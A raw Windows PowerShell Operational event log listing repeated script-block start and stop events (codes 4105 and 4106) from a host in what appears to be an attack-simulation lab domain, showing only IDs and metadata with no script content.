SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031182
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031181
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031176
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031175
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031151
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031150
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031149
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031148
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2031142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2031141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
